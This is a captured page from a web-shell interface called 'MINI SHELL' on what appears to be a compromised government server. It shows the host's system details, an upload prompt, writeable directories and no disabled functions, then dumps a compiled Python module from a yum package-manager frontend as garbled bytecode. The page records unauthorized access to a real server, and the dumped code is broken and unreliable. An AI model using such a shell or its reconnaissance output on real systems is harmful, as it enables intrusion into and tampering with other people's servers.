MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/pirut/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/pirut/__init__.pyo
m

hDc@s`dkZdkZdkZdkZdkZdkZdkZdkZdkZdk	i
Z
dkZdkZdk
lZlZdkZdkZdkZdklZdkTdkZdkZdkZdkZdkZdkZdkTdkTeiZeiZei Z ei!Z!ei"Z"eiZ#dZ$dZ%dei&fdYZ'dZ(dS(	N(t_sN_(sLogger(t*cGs#xtiotiqWdS(N(tgtktevents_pendingtmain_iteration(targs((t2/usr/lib/python2.4/site-packages/pirut/__init__.pyt_runGtkMain8s
s/var/run/yum.pidtGraphicalYumBasecBstZdZeddZddZdZdZdZ	dZ
ddddddd	Zd
ZdZ
dZdd
ZdZdZdZdZdZddZdZdZRS(NcCs|iit|idjodd}nd}xkd	|iifd
|iifd|iifd|iifd
|ii	fd|ii
fgD]	\}}	|	od|}nx|	D]}|i\}}}
}}|ii}|i}t|ii}|}d|||||f}xQ|iD]F\}}
|
djo-d|i |i!|if}||}q4q4W||}qW|	o||}qqWdt|ii|iit|ii|ii	t|ii|ii
f}||}|S(s@returns a string rep of the  transaction in an easy-to-read way.is
=============================================================================
 %-22s  %-9s  %-15s  %-16s  %-5s
=============================================================================
tPackagetArchtVersiont
RepositorytSizett
InstallingtUpdatingtRemovingsInstalling for dependenciessUpdating for dependenciessRemoving for dependenciess%s:
s  %-22s  %-9s  %-15s  %-16s  %5s
t	obsoletess     replacing  %s.%s %s

s
Transaction Summary
=============================================================================
Install  %5.5s Package(s)         
Update   %5.5s Package(s)         
Remove   %5.5s Package(s)         
N(R	R
RRR
($tselfttsInfot	makeliststlentoutt	installedtupdatedtremovedtdepinstalledt
depupdatedt
depremovedtactiontpkglistttotalmsgttxmbrtpkgtuptntatetvtrtpotprintVertevrtrepoidtfloattsizetpkgsizetmsgt	relatedtotobspotrelationshiptnametarchtappendedtsummary(RR#R+R.R-R5R R/RRR2R!R$R%R6R'R1R&RR*((RtlistTransactionAs8
a	

U	
s
/etc/yum.confcCsd|_tii|y|i|Wn$tii	j
o}t|nX|idti
if|i|it|_|o|indS(s/run_long is whether or not to run 'long' steps.ttypesN(tNoneRtlogfiletyumtYumBaset__init__t
doConfigSetuptconfigfntErrorstConfigErrorR%t
PirutErrort
doPluginSetuptpluginst	TYPE_COREt
closeRpmDBt	doTsSetuptFalset
unsignedoktrun_longt
reposSetup(RRJR?R%((RR=us	

	cCs1|o||i_|id7_n|it|i|o|iny|iWn$t	i
ij
o}t
|nX|o|iny|iWn)t	i
ij
o|iddnX|o|iddn|i|o|iddn|od|i_ndS(Ni
isno groups present!tnextitincri(tcallbackRtrepost	num_taskstdoLocktYUM_PID_FILEtdoRpmDBSetupt	next_tasktdoRepoSetupR;R@t	RepoErrorR%tPirutDownloadErrortdoGroupSetuptGroupsErrorterrorlogtdoSackSetupR9(RRNR%((RRKs0


cCsBt|djotidI|IJntidI|IJdS(NisERROR:sWARNING:(RtleveltsyststderrR/(RR\R/((RRZs
cCs/t|djotidI|IJndS(NisLOG:(RR\R]R^R/(RR\R/((Rtlogs
cCs)t|io|i||ndS(N(RRR:R\R/(RR\R/((Rtfilelogs
cCs7|iiid|}|idjotSntS(NR3i(RttstdbMatchR3tmitcounttTrueRH(RR3Rc((RtsimpleDBInstalledsc
Cs|dj	o|i\}}}}}nt}|o0|p|p|p|o|i|}n9|ii	d|d|d|d|d|o
t
}n|iid|d|d|d|d|}x&|D]}	|	itjot
SqqW|ot|djotSn|S(NR3tepochtvertrelR4i(R(R9treturnNevraTupleR3RgtversiontreleaseR4RHRRRftrpmdbReRt
matchNaevrtlstR!toutput_statetTS_INSTALL_STATESR(
RR3RgRkRlR4R(RoRR!((RtisPackageInstalleds$
$
cCs3|iotSn|io|iotSntS(N(tgrptselectedReRttoremoveRH(RRs((RtisGroupInstalleds

cCsD|ii|}|iotii||n|i	|dS(N(
Rtcompstreturn_grouptgrpidtgroupRtR;R<t
deselectGrouptgroupRemove(RRyRz((RR{s
cCsD|ii|}|io|i|ntii	||dS(N(
RRwRxRyRzRut
groupUnremoveR;R<tselectGroup(RRyRz((RR~s
cCsV|ii|i}
|
i}t}x+|D]#}|idd|yti
|dd}Wn7tiij
o%}tiidt|nXyLtii|}|d}
tii|
i}|d}	|d}Wn.tj
o"}tiid	t|nXtii |i!|
|	d
jo!|i"dd||fq+n|idd||ft#|i$d
o|i$i%d}n
|i$i'}|pt(i)|t(i+t(i,dt-d}t/i0t-d|||f}|i2||i3dt(i4}|i3t-dt(i6}|i7t(i8t(i9t(i:|i;}|i=|t(i6jotiidqn|i>i?tii@|}|d
jotiid|n|iddtB}|ptiid|
iCn|iD|\}}|d
jo#|id
dtii|q+q+WdS(NisRetrieving GPG key from %stlimiti'sGPG key retrieval failed: tkeyidt	timestamptuseridsGPG key parsing failed: is)GPG key at %s (0x%s) is already installedsImporting GPG key 0x%s "%s"tgetConfigOptiont	assumeyestmessage_formatsImport key?sWThe package %s is signed with a key from %s (0x%s).  Would you like to import this key?s
gtk-cancels_Import keysNot installing keysKey import failed (code %d)sKey imported successfullysThe GPG keys listed for the "%s" repository are already installed but they are not correct for this package.
Check that the correct key URLs are configured for this repository.s+Import of key(s) didn't help, wrong key(s)?(FRROtgetRepoR(R+trepotgpgkeytkeyurlsRHt
key_installedtkeyurlR_t
urlgrabberturlreadtrawkeytgrabbertURLGrabErrorR%R;R@tYumBaseErrortstrtmisct
getgpgkeyinfotkeyinfoRt
keyIdToRPMVertupperthexkeyidRRt
ValueErrortkeyInstalledtread_tsRZthasattrtconfRtoptRRt
MessageDialogtmainwintDIALOG_MODALtMESSAGE_QUESTIONRtdtgobjecttmarkup_escape_texttsectformat_secondary_textt
add_buttontRESPONSE_CANCELtbtRESPONSE_OKt	set_imagetimage_new_from_stocktSTOCK_OKtICON_SIZE_BUTTONtruntrctdestroyRatpgpImportPubkeyt
procgpgkeytresultReR3tsigCheckPkgterrmsg(RR(RRRRRRRRRRR%RRRRRRRR((Rt_getKeyForPackagesd	!

""




c
CsdtiifdY}dd}tdtd|i	i
}tt
d|}	||	|}|ii||	iy|i|}WnVtiij
o}||ddd|n'tj
o||t
d	nX|iid|	it|id
jog}xR|iD]D}
ti i!||
}x%|D]}|i$d|
|fqbWq?W||t
ddt%i&|d
n|S(NtdlcbcBs>tZdZdZddZddZddZRS(NcCsGtiii|||_tt||_	d|_
d|_dS(Ni(Rtprogresst	BaseMeterR=RtpbarR,Rtdlpkgsttotaltcurrenttlast(RRR((RR=:s
		cCs:tdti|if}|iid|fdS(NsDownloading %ss	<i>%s</i>(Rturllib2tunquoteRtbasenamettxtRt
set_markup(RtnowR((Rt	_do_startAscCs-|id7_|ii|i|idS(Ni(RRRtset_fractionR(Rtamount_readR((Rt_do_endEscCstiii|||dS(N(RRRtupdateRRR(RRR((RRIscCs|idjodSnt||i}|ii}|d|i	|i
|i	}||djpti|i
djo*|ii|tti|_
ndS(Nif0.001(RR-R9R,RtpctRtget_fractiontcurvalRRtnewvalttimeRRR(RRRRRR((Rt
_do_updateLs+(t__name__t
__module__R=RR9RRR(((RR9s
		cCsjt|tidtifgtd|}|o|i	d|fn|i
|itdS(Nsgtk-oksError downloading packagess%s(
tPirutDetailsDialogRRt
MESSAGE_ERRORRRt	secondaryRtdetailstset_detailsRRRW(RRRR((RtdownloadErrorDialogWs		

cCs|iS(N(txR((R((Rt<lambda>cscCs
|idjS(Ntitu(RR(R!tts_state(R!((RRcssDownloading packagesRRs!Unable to find a suitable mirror.is%s: %ss3Errors were encountered while downloading packages.s
('RRRRR9RtmaptfilterRRt
getMembersRt
PirutProgressRRRtdlCbROtsetProgressBartshowtdownloadPkgstprobsR;R@RVRt
IndexErrorRRtkeysterrstrtkeyRtuniqueterrorsterrortappendtstringtjoin(
RRRRRRRRRRRRR((RtdownloadPackages8s6


c	CsdfdY}ttd|}|||}||_|iy|i	\}}Wnti
ij
o}}d|_|it|tidtifgtdtd}|id|f|i|itnXd|_|i|djojt|tidtifgtd	td
}|iti|d|i|itndS(NtdscbcBs#tZdZdZdZRS(NcCs_|i|_|i|_||_t|_|_|_|_	|_
|_|_|_
dS(N(tayumR_RRZRRtpkgAddedtprocReqttransactionPopulationtdownloadHeaderttschecktstartt
unresolvedtprocConflict(RRR((RR=s	cCs<|ii}d|d|}|ii|tdS(Nf1.0i(RRRtcurtnewRR(RRR((RtrestartLoopscCs|iidtdS(Nf1.0(RRRR(R((Rtends(RRR=RR(((RRs			s"Resolving dependencies for updatessgtk-oksError downloading headerss:Errors were encountered while downloading package headers.s%sisError resolving dependenciessKUnable to resolve dependencies for some packages selected for installation.s
(RRRRRRtdsCBt
dsCallbackRtbuildTransactionRtmsgsR;R@RVRR9RRRRRRRRRWRRtPirutDependencyError(	RRRRRRRRR((Rt	checkDepss:	
	
	

	

	

cCs"|iit|iidjp2t|iidjpt|iidjot|t	i
dt	iftdt	i
dfgtdtd}
t	i}|id}|idti|id	}|id
d|iitdf|iitd
f|iitdfg}x|D]\}}
t|djox|i}|i||
dxV|D]J}|i}|i\}}}	}}|i|d|||fd	q~Wq9q9W|
i#d||
i$dd}|
i&|t	i
jo
t'qndS(Nis
gtk-canceltContinuesgtk-oksDependencies addedsIUpdating these packages requires additional updates for proper operation.tboldtweighttindentedsleft-margini
sAdding for dependencies:
sRemoving for dependencies:
sUpdating for dependencies:
s	%s-%s-%s
tbufferttimeouti((RRRRRRRRRRtMESSAGE_INFORRRRt
TextBufferRt
create_tagttagtset_propertytpangotWEIGHT_BOLDR8Rotstrngtget_end_iterRtinsert_with_tags_by_nameR!R"R#R$R%R&R'RRRRRB(RRRoRRR!R8R$RR%RRR#RR'R&((Rt
depDetailss8
K$	E
c
Csttd|}tt|}d}
x|D]}|i|\}}|i|
||
d7}
|djoq4n^|djoPt}y|i||Wn!tiij
o}t}nX|oq4qnt|tidtd|f}	|	id|f|ip*|i|	itdtidn`|	itd	|	itd
ti d}|	itdti"d
}|	i#ti |	i$}|	i|ti"jo
t&q4q4W|idS(NsVerifying packagesiittextsUnable to verify %ss%st_Closes	gtk-closespMalicious software can damage your computer or cause other harm.  Are you sure you wish to install this package?t_Cancels
gtk-cancels_Install anywaysgtk-ok('RRRRR,RtpkgstnumRR(RRRRRRetfoundRR;R@RRHRRRRRRIRRtRESPONSE_CLOSEtformat_secondary_markupRRRtset_default_responseRRtPirutVerifyError(
RRRRRRR(RRRRRR((RtcheckSignaturessF




 		
csd}ttd}t|}|`|i	|i
dd|ii|ii|i
|_
|i|_|iytii||}Wn5tiij
o#}|i||tnX|idS(Ncsfttiddgdtd}|itd|id|f|i	|i
dS(	Ntbuttonssgtk-okiRsError updating softwaresKThere were errors encountered in trying to update the software you selecteds%s(sgtk-oki(RRRRRRRRterrsRR(R$R(R(RttransactionErrors
s	
sUpdating softwaretkeepoldi(R%RRRRtPirutTransactionProgressttsprogRRatinitActionTst
populateTstchecktorderR`RRR;R<trunTransactionttserrorsR@RterrRRB(RRR(R.R/R%R((RRR-s$





cCsUd}|djo|ii}ntii|}tii
|pZyti|ddWqtj
o0}|idtd|tidqXny*ti|titiBtiBd}Wn<tj
o0}|idtd|tidnXti|d	}ti|titd
dd|d
||_dS(NcCssddddddddd	d
ddg}titi}|ttid
|dtid|}|S(NtJantFebtMartAprtMaytJuntJultAugtSeptOcttNovtDecs%mis %d %T (tmonthsRt	localtimeRtinttstrftimetret(RR<R@((Rt	printtime3s*0tmodeiis$Cannot make directory for logfile %siisCannot open logfile %sR$t	thresholdi
tfile_objectt	preprefix(RAtlogfnR9RRR:tostpathtdirnametlogpathtexiststmakedirstOSErrorR%RZRR]texittopentO_WRONLYtO_APPENDtO_CREATtlogfdtfdopentfcntltF_SETFDtLogger(RRFR%RARJR:RS((RtsetupLogging1s(	

cCsJ|i||i||i|}|i|||i|dS(s-Apply all of the packaging changes requested.N(RRRRRRR"R-(RRR((RtapplyChangesQs

cGsoy|iWn(tj
o}tidI|IJnX|ityti	WnnXti
ddS(NsError closing rpmdb: i(RRFt	ExceptionR%R]R^tdoUnlockRRRt	main_quitRN(RRR%((Rtquit^s
(RRR7ReR=R9RKRZR_R`RfRrRvR{R~RRRRR"R-RXRYR](((RR?s(	4							Q	J	7	$	/	% 	
cCsttdtitdtidfgtdtd}|it||i
|iti
ddS(NtExitsgtk-quits
Config error.s-Unable to start due to a configuration error.i(RR9RRRRRRRR/RRR]RN(R/R((RtstartupErrorms	

()RGR]RURRtrpmRRt	gtk.gladetgtk.gdktgdkRRtrhpl.translateRtN_R;tyum.pluginst
yum.Errorst
yum.loggerRWt
yum.constantsRturlgrabber.progresst
DetailsDialogt
GroupSelectortPackageListtProgresst	constantsR@RR'RtPirutProgressCallbacktPirutPackageListtPirutGroupSelectorRRRR<RR_(RRRmRRpRqRnRWRcR`RRRRReR'RURRR]RRRRlRrR;RRR_RGRk((Rt?sD											
											0

Anon7 - 2021